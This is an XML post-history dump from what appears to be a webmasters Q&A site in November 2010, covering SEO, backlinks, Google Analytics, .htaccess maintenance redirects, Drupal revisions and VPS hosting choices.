  <row Id="9723" PostHistoryTypeId="1" PostId="4909" RevisionGUID="c50e6fa2-a966-4da1-87e7-d392cc7cad71" CreationDate="2010-11-03T11:13:33.823" UserId="2748" Text="Is SEO the most important part on making a website good?" />
  <row Id="9724" PostHistoryTypeId="3" PostId="4909" RevisionGUID="c50e6fa2-a966-4da1-87e7-d392cc7cad71" CreationDate="2010-11-03T11:13:33.823" UserId="2748" Text="&lt;seo&gt;" />
  <row Id="9725" PostHistoryTypeId="2" PostId="4910" RevisionGUID="3a21d129-4442-4939-85fa-34292061be89" CreationDate="2010-11-03T11:19:39.593" UserId="2984" Text="Short answer no. But what do you mean by 'good'. Not a great question. A website has many aspects all of which should be attended well to make a superior quality site." />
  <row Id="9726" PostHistoryTypeId="2" PostId="4911" RevisionGUID="b3a5f61e-9eca-4b35-9193-231e06e749e3" CreationDate="2010-11-03T11:32:31.017" UserId="233" Text="Perhaps indirectly SEO can improve a website. It encourages you to think about quality content and good navigation/usability.&#xD;&#xA;&#xD;&#xA;But no, SEO itself does not make a website good or bad at all. In other words, good SEO is a *side-effect* of a good website." />
  <row Id="9727" PostHistoryTypeId="2" PostId="4912" RevisionGUID="6b79d6f6-3be1-4185-9c0a-2cb56d61a927" CreationDate="2010-11-03T11:43:40.470" UserId="1953" Text="Assuming you have Google Analytics tracking the content in the lyrics pages as well, you might find better results by using a conversion funnel. You can use regular expressions when setting up the funnel information so you should be able to match all of your song pages as the first step in the funnel and your lyric pages as your final step in the funnel.&#xD;&#xA;&#xD;&#xA;I don't think using an event will work since each user could generate the event more then once the data won't have the information you are looking for (IE you could have 10 users 5 don't visit any lyrics pages, and the other 5 each visit 2 different lyric pages, the data would then show 10 users and 10 events, but you wouldn't have 100% click through rate.)&#xD;&#xA;&#xD;&#xA;Another option if you have access to your log files would be to find all unique IPs that requested a song page then take that list and see how many of those IPs also requested a lyrics page. " />
  <row Id="9728" PostHistoryTypeId="2" PostId="4913" RevisionGUID="1b40cf21-0563-4d46-8b27-808b95ebd603" CreationDate="2010-11-03T11:56:51.200" UserId="1253" Text="SEO is mostly:&#xD;&#xA;&#xD;&#xA; - quality content&#xD;&#xA; - usability&#xD;&#xA; - accessibility&#xD;&#xA; - semantic markup&#xD;&#xA;&#xD;&#xA;If your site is built with the four principles in mind your site will be optimized for the search engines. If you have to go back and &quot;SEO your website&quot; then you made mistakes when you first built it and only are fixing it (or making it worse if your changes are only being made with the search engines in mind).&#xD;&#xA;&#xD;&#xA;Once a properly built website is launched the only real SEO to be done is to utilize tools like Google Webmaster Tools to help facilitate the indexing of your site and find potential errors or problems that the search engines have with your site. Then from there it's continually adding new quality content (if applicable) and marketing (seeking links is marketing)." />
  <row Id="9733" PostHistoryTypeId="2" PostId="4915" RevisionGUID="22dc82b9-2c65-4549-b56f-734d8551549a" CreationDate="2010-11-03T12:41:27.867" UserId="2293" Text="A good website has, IMHO:&#xD;&#xA;&#xD;&#xA; - Good content &#xD;&#xA; - Good accessibility&#xD;&#xA; - Good design&#xD;&#xA; - Good usability&#xD;&#xA;&#xD;&#xA;Make site findable is important, but making visitors like a site after find it depends on other things.&#xD;&#xA;&#xD;&#xA;On page SEO basically depends on 2 of four factors I listed (content and accessibility), plus semantic markup, plus friendly URLs. Except content, other points are technical.&#xD;&#xA;&#xD;&#xA;Content, usability and design are the factors that make your site interesting and pleasant. Without them, your site can be find, but can't achieve goals or help out people, thus making it a bad website.&#xD;&#xA;&#xD;&#xA;So, I think SEO is important, but content (be it a copy text, an idea or a service) and usability are more important than findability as measure to a good website.-" />
  <row Id="9734" PostHistoryTypeId="2" PostId="4916" RevisionGUID="1eedd11e-25b4-4259-a39f-51e0bfec6e02" CreationDate="2010-11-03T12:43:12.640" UserId="2986" Text="It really depends on your CMS. I won't duplicate what everyone else here has said but I will say that if you use a CMS like WordPress you'll find that not only is it not bad for SEO, you'll probably find that your results are *better* for SEO with WordPress because so many themes focus on it and so many plugins are available to add features. &#xD;&#xA;&#xD;&#xA;With WordPress many of the things you'd want to get around to doing on a custom site are features that are just readily available for free (several great SEO-related plugins) and/or inexpensive use (i.e. commercial themes.)&#xD;&#xA;&#xD;&#xA;Why is WordPress so great with SEO when the currently highest voted answer here from Peter says the following? &#xD;&#xA;&#xD;&#xA;&gt; *&quot;It's not so much that CMS's are bad&#xD;&#xA;&gt; for SEO, but that you can achieve&#xD;&#xA;&gt; better SEO when you have more control&#xD;&#xA;&gt; over the webpage. And CMS's are made&#xD;&#xA;&gt; to make it easier to produce websites,&#xD;&#xA;&gt; often at the same time taking away&#xD;&#xA;&gt; control over the page construction.&quot;*&#xD;&#xA;&#xD;&#xA;The reason is WordPress doesn't control the output, the themer does. To theme WordPress (from scratch) you start with a pure HTML-based design and then add in calls back into WordPress' engine. So with WordPress you really do have full control over the webpage and this is a key reason I think so highly of it.&#xD;&#xA;&#xD;&#xA;As for the comments from @John Conde and @Dave about URLs, WordPress doesn't currently offer you full control of URLs *(without an awful lot of extra word)* but the control it does give you is probably 100% sufficient for any SEO concern you might have. *(And if nobody else does in the next year, I plan to address that problem too.)*&#xD;&#xA;&#xD;&#xA;And as for @Evgeny's comments about structure and WordPress, it appears he simply started with a theme that didn't pay attention to SEO but even so WordPress is flexible enough that he was readily about to make the changes he needed.&#xD;&#xA;&#xD;&#xA;There may be other CMSes that are similarly flexible but I gravitate to WordPress because it has such a large number of users and hence a huge support base with lots of themes and plugins. So I reject the implication in your question that all CMS are bad for SEO; it's just not true, at least not true for all of them.&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;&#xD;&#xA;-Mike&#xD;&#xA;&#xD;&#xA;P.S. *Full disclosure*, I'm an admin for Pro Webmaster's sister site [WordPress Answers][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.stackexchange.com" />
  <row Id="9735" PostHistoryTypeId="2" PostId="4917" RevisionGUID="852767bc-2492-4605-92e8-03db4bcd7c13" CreationDate="2010-11-03T12:45:53.500" UserId="2293" Text="Along with InPage Analytics and Goals and funnels, afore mentioned, I also think a heat map tracking tool is a really nice idea to analyze what and how people are using your site.&#xD;&#xA;&#xD;&#xA;You can [choose from a list of services available][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webdevelopersnotes.com/resources/create_web_page_heatmap.php3" />
  <row Id="9736" PostHistoryTypeId="2" PostId="4918" RevisionGUID="7830c240-6938-4e7b-a05a-99907d08e45a" CreationDate="2010-11-03T12:48:38.603" UserId="480" Text="You can always use their [email templates][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.addthis.com/help/email-templates" />
  <row Id="9737" PostHistoryTypeId="2" PostId="4919" RevisionGUID="9613da54-2083-43fa-965e-8d501d58b17c" CreationDate="2010-11-03T12:56:58.843" UserId="480" Text="A bulk whois request would normally be performed by SPAMers, hackers, crackers, etc who are trying to find out your details (registered owner information) in bulk (along with a lot of other peoples). At every opportunity you should try to exclude yourself.&#xD;&#xA;&#xD;&#xA;Quite why they are asking when signing up to SSL is more interesting though, as they shouldn't be in control of limiting bulk whois requests." />
  <row Id="9738" PostHistoryTypeId="2" PostId="4920" RevisionGUID="10c30102-4f08-4f95-add8-d070512b1669" CreationDate="2010-11-03T13:03:11.163" UserId="2293" Text="This sounds like an intelligent black hat SEO.&#xD;&#xA;&#xD;&#xA;If minor websites does not have active content, it will make no difference from link building farms we can find across the web.&#xD;&#xA;&#xD;&#xA;I would suggest doing another way to build back links: social services.&#xD;&#xA;&#xD;&#xA;Make a facebook page, invite people, bookmark on delicious and recommend to friends, make a short video on youtube with a backlink...&#xD;&#xA;&#xD;&#xA;With this, you can provide quality backlinks. Once these sites are recognized as 'good' by google, the juice they pass back is a little better than from a completely new website, helping to improve your PR without too much effort and also in the other hand, can be a valuable tool for increasing visitors." />
  <row Id="9739" PostHistoryTypeId="19" PostId="1965" RevisionGUID="5cfec9ef-bb75-40b0-9c2a-060299abd325" CreationDate="2010-11-03T13:08:00.387" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="9743" PostHistoryTypeId="5" PostId="4886" RevisionGUID="c4461914-4a75-4114-80a8-affbd6045699" CreationDate="2010-11-03T13:47:24.273" UserId="2288" Comment="added 520 characters in body" Text="**Currently links, images, files, etc.**&#xD;&#xA;&#xD;&#xA;    http://1.1.1.1/drupal/../&lt;resource_name.ext&gt;&#xD;&#xA;&#xD;&#xA;**Is it possible to do:**&#xD;&#xA;&#xD;&#xA;    /../&lt;resource_name.ext&gt;&#xD;&#xA;&#xD;&#xA;If the questions is not clear, just let me know. Thanks!&#xD;&#xA;&#xD;&#xA;UPDATES:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Node could be a number of different types of content: pages, stories, etc. -- I'm only talking about pages, but it's possible it (and likely) that it the question applies to all node types. And yes, the text area called &quot;body&quot; on the content type &quot;page&quot; (basically where you insert the full text of the page) ... hope that answers your question, if not, just let me know. &#xD;&#xA;	&#xD;&#xA;RE: Types of links: Images and files, since I just figured out how to do &lt;a href=&quot;?q=nodes/#&quot;&gt;text&lt;/a&gt; to link to other nodes. " />
  <row Id="9749" PostHistoryTypeId="2" PostId="4923" RevisionGUID="86d1c02c-2172-498d-8dbf-d3690ca7a323" CreationDate="2010-11-03T15:57:11.433" UserId="1953" Text="I've used rackspace cloud (I believe they bought slicehost) and was very happy it was easy to use, I had no reliability issues, support was fast and helpful and they had a thorough and up to date knowledge base." />
  <row Id="9750" PostHistoryTypeId="2" PostId="4924" RevisionGUID="870311d3-10aa-4a22-bac0-1e599bfe2c28" CreationDate="2010-11-03T16:02:25.867" UserId="1953" Text="The key to getting good customers in my experience is to first define what a good customer is for your business. Then look at your customers and see what is important to the ones that fit your concept of good customer (it doesn't hurt to ask them for suggestions either). Once you have clearly defined what characteristics make a good customer and what your good customers want/need focus on meeting those needs and be willing to say no to potential customers that don't fit into the good customer category." />
  <row Id="9751" PostHistoryTypeId="2" PostId="4925" RevisionGUID="52b81892-fbde-426a-ac76-11eed53fe434" CreationDate="2010-11-03T16:04:42.900" UserId="132" Text="There has been discussion on this subject previously, on ServerFault. Here's &lt;a href=&quot;http://serverfault.com/questions/56136/slicehost-vs-linode&quot;&gt;a comparison between Slicehost and Linode&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;I've only used Linode for VPS so far, so can't speak to any other options. However, Linode is easy to get started on, and they have excellent documentation of their offerings and what you can do with them." />
  <row Id="9752" PostHistoryTypeId="2" PostId="4926" RevisionGUID="cfabafa2-ae1c-4185-a855-b0435df8491a" CreationDate="2010-11-03T16:08:30.013" UserId="2990" Text="i want to my site down for an hour and i was using &#xD;&#xA;&#xD;&#xA;    order Deny,Allow&#xD;&#xA;    Deny from all&#xD;&#xA;    Allow from my.ip.add.ress&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but i dont like the default error page, is there a 301 redirct where i can redirect everyone whos not on my ip address to a nice and pretty page?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9753" PostHistoryTypeId="1" PostId="4926" RevisionGUID="cfabafa2-ae1c-4185-a855-b0435df8491a" CreationDate="2010-11-03T16:08:30.013" UserId="2990" Text="301 redirects for all except me" />
  <row Id="9754" PostHistoryTypeId="3" PostId="4926" RevisionGUID="cfabafa2-ae1c-4185-a855-b0435df8491a" CreationDate="2010-11-03T16:08:30.013" UserId="2990" Text="&lt;htaccess&gt;" />
  <row Id="9755" PostHistoryTypeId="2" PostId="4927" RevisionGUID="f4e110da-bdfc-4461-8246-898242756a70" CreationDate="2010-11-03T16:14:27.577" UserId="1253" Text="Just specify a page that all 403 error messages should be shown:&#xD;&#xA;&#xD;&#xA;    order Deny,Allow&#xD;&#xA;    Deny from all&#xD;&#xA;    Allow from my.ip.add.ress&#xD;&#xA;    &#xD;&#xA;    ErrorDocument 403 /forbidden.html&#xD;&#xA;&#xD;&#xA;You can customize this page to look any way you wish. " />
  <row Id="9756" PostHistoryTypeId="2" PostId="4928" RevisionGUID="d9cb41df-7f8b-4fad-92ee-74644da34a3a" CreationDate="2010-11-03T16:36:02.077" UserId="2293" Text="I agree at somepoints to Joshak: you need first define good customers according to your business.&#xD;&#xA;&#xD;&#xA;A good customer for one business may be a lousy customer to another and vice-versa.&#xD;&#xA;&#xD;&#xA;After definition is ready, work on customization for those. Improve content, design and usability to them.&#xD;&#xA;&#xD;&#xA;Defining your good customers will help knowing them, and after knowing them you will be able to improve your site efficiently to them.&#xD;&#xA;&#xD;&#xA;It is a circle, it requires time and work, but worth the effort, as you can keep and expand to the target public.&#xD;&#xA;&#xD;&#xA;Avoiding undesirable customers is tricky. They exists all the time, everywhere. You can just minimize them though customizing to your good customers, reducing their interest in your services or products.&#xD;&#xA;&#xD;&#xA;Further, you can define rules for privacy and legal terms that allows you to bam undesired customers, but make this is a way that let you be ethical on bam out those customers, otherwise, this will be as the same as censorship, and no one agree with a dictatorial fashion. Guide yourself through ethics." />
  <row Id="9757" PostHistoryTypeId="2" PostId="4929" RevisionGUID="f17cf325-058a-4bf4-bee9-4ceb66da4cb7" CreationDate="2010-11-03T16:48:28.393" UserId="218" Text="try `list-style-type` as the `list-style` is the shorthand for all subproperties.&#xD;&#xA;&#xD;&#xA;Although the most likely problem, is that with floating the the the circles might be hidding behind the adjacent elements.. try giving your `ul` margin/padding to see if they appear.." />
  <row Id="9758" PostHistoryTypeId="2" PostId="4930" RevisionGUID="56978099-ff6b-4850-a696-b94c0fdcf9aa" CreationDate="2010-11-03T16:51:50.357" UserId="2991" Text="I'm currently building a website, and the specifications, which I am asked to look at with a critical eye, say that I should use url like these:&#xD;&#xA;&#xD;&#xA;www.mysite.com/store.html &lt;--this page is a store listing&#xD;&#xA;www.mysite.com/store/paris.html &lt;-- this is a page for the store in Paris&#xD;&#xA;&#xD;&#xA;I think I should drop the &quot;.html&quot; part, but I am less sure about whether I should use plural for the first url (I mean www.mysite.com/stores instead of www.mysite.com/store ).&#xD;&#xA;Could you please advise?" />
  <row Id="9759" PostHistoryTypeId="1" PostId="4930" RevisionGUID="56978099-ff6b-4850-a696-b94c0fdcf9aa" CreationDate="2010-11-03T16:51:50.357" UserId="2991" Text="Should I use plural or singular parts for my url when on a listing page" />
  <row Id="9760" PostHistoryTypeId="3" PostId="4930" RevisionGUID="56978099-ff6b-4850-a696-b94c0fdcf9aa" CreationDate="2010-11-03T16:51:50.357" UserId="2991" Text="&lt;seo&gt;" />
  <row Id="9761" PostHistoryTypeId="2" PostId="4931" RevisionGUID="be397d6d-e519-4ae4-8d33-47e020c4a1b5" CreationDate="2010-11-03T17:00:01.297" UserId="1300" Text="SEO does not 'make a website good', *per se*.&#xD;&#xA;&#xD;&#xA;SEO can help a good website get better exposure via search engines, obviously. But a 'bad' website can equally benefit from SEO.&#xD;&#xA;&#xD;&#xA;However, SEO is improved by many of the techniques that feature in good websites: appropriate, valid semantic markup, good content, accessibility, etc.&#xD;&#xA;&#xD;&#xA;So good design improves SEO, but SEO doesn't necessarily improve the website." />
  <row Id="9762" PostHistoryTypeId="2" PostId="4932" RevisionGUID="fde60ccc-dbf5-4c77-b3e6-de75ddfe0333" CreationDate="2010-11-03T17:12:01.470" UserId="2288" Text="Looking for a way to roll back edits to text edits in the body of nodes/pages in Drupal. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="9763" PostHistoryTypeId="1" PostId="4932" RevisionGUID="fde60ccc-dbf5-4c77-b3e6-de75ddfe0333" CreationDate="2010-11-03T17:12:01.470" UserId="2288" Text="Is there a Drupal module that allows content edits to be &quot;rolled back&quot; like Stack Exchange does? " />
  <row Id="9764" PostHistoryTypeId="3" PostId="4932" RevisionGUID="fde60ccc-dbf5-4c77-b3e6-de75ddfe0333" CreationDate="2010-11-03T17:12:01.470" UserId="2288" Text="&lt;drupal&gt;" />
  <row Id="9765" PostHistoryTypeId="2" PostId="4933" RevisionGUID="e0b8b7e6-0ec0-41d7-a730-e6f01f3c37a0" CreationDate="2010-11-03T17:13:30.940" UserId="2288" Text="It'd be super nice if the was a batch view of system with the ability to roll them back. It would be nice if the module sorted out any dependencies related to the roll-back, or at least get a clear warning message stating what is going to happen. " />
  <row Id="9766" PostHistoryTypeId="1" PostId="4933" RevisionGUID="e0b8b7e6-0ec0-41d7-a730-e6f01f3c37a0" CreationDate="2010-11-03T17:13:30.940" UserId="2288" Text="Is there a way to view and/or undo system edits in Drupal?" />
  <row Id="9767" PostHistoryTypeId="3" PostId="4933" RevisionGUID="e0b8b7e6-0ec0-41d7-a730-e6f01f3c37a0" CreationDate="2010-11-03T17:13:30.940" UserId="2288" Text="&lt;drupal&gt;" />
  <row Id="9768" PostHistoryTypeId="2" PostId="4934" RevisionGUID="77e1b360-026c-47f3-a800-db6c9cc1d870" CreationDate="2010-11-03T17:35:31.083" UserId="2898" Text="If I understand correctly, you're creating microsites, building links to them and then linking from those microsites to your main site. Is that correct?&#xD;&#xA;&#xD;&#xA;If it is, you're losing out on a tremendous amount of value. The current search engine algorithms have a strong emphasis on **domain diversity** - getting links from a number of relevant domains. By creating microsites, you lose out on all of that diversity.&#xD;&#xA;&#xD;&#xA;In essence, you're generating more value for those microsites and only passing on a fraction of that value to the main site. You might consider creating landing pages (or subfolders) on the main site for this purpose so that you're building links directly to your main site. &#xD;&#xA;&#xD;&#xA;Here's a decent video titled '[The Microsite Mistake][1]' from Rand Fishkin via SEOmoz.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/whiteboard-friday-the-microsite-mistake" />
  <row Id="9769" PostHistoryTypeId="2" PostId="4935" RevisionGUID="6c9ab825-a735-4401-9d56-ecc4601c1bed" CreationDate="2010-11-03T18:02:41.747" UserId="2293" Text="I understand you wanna make friendly URLs. This is good.&#xD;&#xA;&#xD;&#xA;My preferred approach is face a website like a directories structure. This gives more semantic, and makes easier to power users to predict listing directories.&#xD;&#xA;&#xD;&#xA;In your case:&#xD;&#xA;&#xD;&#xA;    www.mysite.com/              #root&#xD;&#xA;    www.mysite.com/stores/       #stores listing&#xD;&#xA;    www.mysite.com/stores/paris  #paris store details&#xD;&#xA;&#xD;&#xA;Note the predictable structure. Trailing slash let people and crawlers understand that it threats about a directory root.&#xD;&#xA;&#xD;&#xA;Power users that land in paris store for example, can be tempted to just delete &quot;paris&quot; from URL and expect to see the parent list or something like that (they tend to face URLs as breadcrumbs). This is why I think this approach is the more interesting.&#xD;&#xA;&#xD;&#xA;It also makes easier to code and make distribution (sitemaps) IMHO." />
  <row Id="9770" PostHistoryTypeId="2" PostId="4937" RevisionGUID="d2e82c1a-5caa-4c40-82c4-8b854fc76ddb" CreationDate="2010-11-03T11:03:56.970" UserDisplayName="Scoop" Text="I believe that Google had an issue yesterday where their systems went down. It's affected all of the Analytics on our sites.&#xD;&#xA;&#xD;&#xA;I don't know why your data would have changed though?&#xD;&#xA;[http://www.google.com/analytics/status#rm=1&amp;di=14&amp;ddo=2&amp;hl=en_GB][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/status#rm=1&amp;di=14&amp;ddo=2&amp;hl=en_GB" />
  <row Id="9771" PostHistoryTypeId="2" PostId="4936" RevisionGUID="fc0b003a-d599-4999-862a-5988ac328fc3" CreationDate="2010-11-03T11:02:06.610" UserId="2312" Text="I checked Analytics yesterday for pageviews, and had several hundred of them (for yesterday).&#xD;&#xA;Not today when I check &quot;Yesterdays&quot; stats (which yesterday showed several hundreds), it shows 0...?&#xD;&#xA;&#xD;&#xA;How come it is 0 all of a sudden?&#xD;&#xA;&#xD;&#xA;Anybody been through this?&#xD;&#xA;&#xD;&#xA;No messages in GA, WebmasterTools etc. Nothing has been changed on the site...&#xD;&#xA;&#xD;&#xA;Just hoping somebody has experience of this before?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="9772" PostHistoryTypeId="1" PostId="4936" RevisionGUID="fc0b003a-d599-4999-862a-5988ac328fc3" CreationDate="2010-11-03T11:02:06.610" UserId="2312" Text="Google Analytics shows 0 Visits?" />
  <row Id="9773" PostHistoryTypeId="3" PostId="4936" RevisionGUID="fc0b003a-d599-4999-862a-5988ac328fc3" CreationDate="2010-11-03T11:02:06.610" UserId="2312" Text="&lt;php&gt;&lt;javascript&gt;&lt;html&gt;&lt;security&gt;&lt;browsers&gt;" />
  <row Id="9774" PostHistoryTypeId="17" PostId="4936" RevisionGUID="da5af252-9421-4457-8564-f941c1dc82b1" CreationDate="2010-11-03T18:02:49.663" UserId="-1" Comment="from http://stackoverflow.com/questions/4086363/google-analytics-shows-0-visits" Text="" />
  <row Id="9775" PostHistoryTypeId="2" PostId="4938" RevisionGUID="c8f529f6-ff75-4a42-9b8d-eeaf4005f875" CreationDate="2010-11-03T18:07:43.527" UserId="2898" Text="While using the extension or not won't really impact SEO per se, dropping it is more clean and user friendly. That, in turn, makes it more likely to be linked from another site or blog - which can provide SEO benefit.&#xD;&#xA;&#xD;&#xA;As for the singular or plural, is the /store page a store locator type page? Some keyword research is necessary to determine whether you believe that page is one that should receive substantial keyword traffic and if so, what keywords it should rank for. &#xD;&#xA;&#xD;&#xA;Would they search for '[store] locations' or '[store] store locator' or '[store] stores'. If it's entirely a new endeavor, look for a similar site or competitor and look a the search volume for those types of terms. Based on that research you can make a decision on whether to use the single or plural, or rich keyword phrase.&#xD;&#xA;" />
  <row Id="9776" PostHistoryTypeId="5" PostId="4930" RevisionGUID="b4fe2811-0916-4170-94f2-eb07223f110e" CreationDate="2010-11-03T18:24:38.010" UserId="2991" Comment="added 25 characters in body" Text="I'm currently building a website, and the specifications, which I am asked to look at with a critical eye, say that I should use url like these for a store locator page:&#xD;&#xA;&#xD;&#xA;www.mysite.com/store.html &lt;--this page is a store listing&#xD;&#xA;www.mysite.com/store/paris.html &lt;-- this is a page for the store in Paris&#xD;&#xA;&#xD;&#xA;I think I should drop the &quot;.html&quot; part, but I am less sure about whether I should use plural for the first url (I mean www.mysite.com/stores instead of www.mysite.com/store ).&#xD;&#xA;Could you please advise?" />
  <row Id="9777" PostHistoryTypeId="2" PostId="4939" RevisionGUID="f68ac82b-6be8-4152-ab3d-d06dd960b690" CreationDate="2010-11-03T18:43:57.427" UserId="2044" Text="does placing google ads in out web page help in SEO page rank?" />
  <row Id="9778" PostHistoryTypeId="1" PostId="4939" RevisionGUID="f68ac82b-6be8-4152-ab3d-d06dd960b690" CreationDate="2010-11-03T18:43:57.427" UserId="2044" Text="Does Google adsense affect page ranking?" />
  <row Id="9779" PostHistoryTypeId="3" PostId="4939" RevisionGUID="f68ac82b-6be8-4152-ab3d-d06dd960b690" CreationDate="2010-11-03T18:43:57.427" UserId="2044" Text="&lt;google-adsense&gt;&lt;pagerank&gt;" />
  <row Id="9780" PostHistoryTypeId="2" PostId="4940" RevisionGUID="fdb4c8f6-7887-4594-84d8-e100846be8f9" CreationDate="2010-11-03T18:48:21.273" UserId="1253" Text="No.&#xD;&#xA;&#xD;&#xA;Although you may find your pages crawled more frequently as a result of Google attempting to keep the ads relevant to your page's content." />
  <row Id="9781" PostHistoryTypeId="2" PostId="4941" RevisionGUID="b6077666-cd7f-4518-b614-07d98cbc94ad" CreationDate="2010-11-03T18:51:23.890" UserId="2044" Text="i've launch a website long ago. My website URL is : http://www.sunshinetrekking.com&#xD;&#xA;&#xD;&#xA;There's already &#xD;&#xA;&#xD;&#xA;80 Pages&#xD;&#xA;a sitemap.xml (80 URL)&#xD;&#xA;english language / french language - url like that &quot;/en/&quot; &quot;/fr/&quot;&#xD;&#xA;BUT, i'm still not referrenced by google&#xD;&#xA;&#xD;&#xA;How do i build back link to it?" />
  <row Id="9782" PostHistoryTypeId="1" PostId="4941" RevisionGUID="b6077666-cd7f-4518-b614-07d98cbc94ad" CreationDate="2010-11-03T18:51:23.890" UserId="2044" Text="How do i build backlinks?" />
  <row Id="9783" PostHistoryTypeId="3" PostId="4941" RevisionGUID="b6077666-cd7f-4518-b614-07d98cbc94ad" CreationDate="2010-11-03T18:51:23.890" UserId="2044" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;backlinks&gt;" />
  <row Id="9784" PostHistoryTypeId="5" PostId="4941" RevisionGUID="b6b8b6c8-06f2-413f-872f-a87e39a22018" CreationDate="2010-11-03T18:55:48.877" UserId="108" Comment="deleted 12 characters in body" Text="I've launch a website long ago. My website URL is : http://www.sunshinetrekking.com&#xD;&#xA;&#xD;&#xA;There's already 80 Pages, a sitemap.xml (80 URLs),&#xD;&#xA;english language / french language - url like that &quot;/en/&quot; &quot;/fr/&quot;&#xD;&#xA;BUT, i'm still not referrenced by google&#xD;&#xA;&#xD;&#xA;How do i build back link to it?" />
  <row Id="9785" PostHistoryTypeId="2" PostId="4942" RevisionGUID="eca58994-de0a-49cb-bdb0-101d02797ca1" CreationDate="2010-11-03T18:58:35.650" UserId="1253" Text="**Good answer:**&#xD;&#xA;&#xD;&#xA;The best way to get backlinks, especially quality backlinks, is to have high quality content on your website. These naturally attract links as webmasters prefer to link to good content and not frivolous content.&#xD;&#xA;&#xD;&#xA;**Not so good answer:**&#xD;&#xA;&#xD;&#xA; - Place your link in forum signatures&#xD;&#xA;&#xD;&#xA; - Submit to directories&#xD;&#xA;&#xD;&#xA; - Exchange links&#xD;&#xA;&#xD;&#xA; - Comment on blogs&#xD;&#xA;&#xD;&#xA; - Submit articles to article directories with your links in them&#xD;&#xA;&#xD;&#xA;These links will be low quality and not do you as much good as links from established websites that rank well for the keywords you wish to rank well for. But if you want to build up *quantity* of links then these will help to do it.&#xD;&#xA;&#xD;&#xA;(Make sure any links you get are not &quot;nofollow&quot; or else they will essentially worthless from a SEO point of view. And don't spam other websites. Nobody likes a spammer)." />
  <row Id="9786" PostHistoryTypeId="2" PostId="4943" RevisionGUID="ac1ece74-77e8-4ed2-956c-ed0f0de20347" CreationDate="2010-11-03T18:59:43.167" UserId="108" Text="There are hundreds of ways to build back links.  To get your site started you should really do this:&#xD;&#xA;&#xD;&#xA; 1. Register you site on [DMOZ][1].&#xD;&#xA; 2. Setup a [Google Webmaster Account][2] and add your website.  This tells Google you exist.&#xD;&#xA; 3. Make your content as good as possible.  This will make you move up in SERP.  Google really cares about quality.&#xD;&#xA; 4. Setup a Twitter account, Facebook account, etc and post links to specific pages to get link backs.  This can help your Page Rank and help where you show up in SERP but 1 and 2 will help you with Google.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/&#xD;&#xA;  [2]: http://www.google.com/webmasters/" />
  <row Id="9787" PostHistoryTypeId="2" PostId="4944" RevisionGUID="5717042c-859f-416b-9fd7-9347355e091c" CreationDate="2010-11-03T19:19:18.993" UserId="2293" Text="We have two good answers here.&#xD;&#xA;&#xD;&#xA;But there is one obvious one that it is not, may be to be so obvious: ask other sites to link back.&#xD;&#xA;&#xD;&#xA;Check over the web what are good related sites to yours, make a list of interesting ones, send an email to administrators/moderators asking to include an article or just a link about/for your site.&#xD;&#xA;&#xD;&#xA;If you have quality content, they probably will link back. Keep a tracking of this link building. For who you asked, when you asked, when they replyed, do they have any questions...? Follow up with that.&#xD;&#xA;&#xD;&#xA;It is simple, quick, and worth much more than people usually imagine. You need just a browser, a spreadsheet, an email, and a dose of good writing, being polite." />
  <row Id="9788" PostHistoryTypeId="2" PostId="4945" RevisionGUID="8521b57a-130d-4339-b43f-1f33484e0315" CreationDate="2010-11-03T19:26:58.027" UserId="2730" Text="Post your website to delicious bookmarks and other bookmarking websites, it will not give you any pagerank but might make get your noticed by the Google Bot faster.&#xD;&#xA;&#xD;&#xA;There is also a slight chance that your website is in the [Google Sandbox][1], if it is - then with some time you will get out and get noticed.&#xD;&#xA;&#xD;&#xA;To be certain that Google Bot is actually visiting your website (even if you are not indexed), check the server logs of your webserver.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sandbox_effect" />
  <row Id="9789" PostHistoryTypeId="2" PostId="4946" RevisionGUID="07e3f243-39b0-41d6-af9e-0c251c020590" CreationDate="2010-11-03T19:29:43.763" UserId="2044" Text="Which one is better for increasing page rank:&#xD;&#xA;&#xD;&#xA;1.) hosting multiple websites of different languages and interlink them&#xD;&#xA;&#xD;&#xA;2.) Host single website and create multiple language pages and interlink them" />
  <row Id="9790" PostHistoryTypeId="1" PostId="4946" RevisionGUID="07e3f243-39b0-41d6-af9e-0c251c020590" CreationDate="2010-11-03T19:29:43.763" UserId="2044" Text="Building multiple websites with different domain names or single website with multiple language folder" />
  <row Id="9791" PostHistoryTypeId="3" PostId="4946" RevisionGUID="07e3f243-39b0-41d6-af9e-0c251c020590" CreationDate="2010-11-03T19:29:43.763" UserId="2044" Text="&lt;seo&gt;&lt;pagerank&gt;" />
  <row Id="9792" PostHistoryTypeId="2" PostId="4947" RevisionGUID="a96f9f94-87fb-4b65-a12a-161b4f4cc15c" CreationDate="2010-11-03T19:30:21.897" UserId="43" Text="I run a local community site, and one of our services is a movies page with showtimes for local theaters, as well as links to the official site, IMDB page, Rotten Tomatoes page, etc. for each movie. However, I'd love to be able to directly display the Rotten Tomatoes score for each movie we list. I've turned up numerous references to scraping that content for things like [XBMC][1] and other programs, but not for embedding on a website. I'm not sure if doing so would be against their terms of service, or is even possible, but would like suggestions on how I might go about doing so if it is in fact legal.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xbmc.org/" />
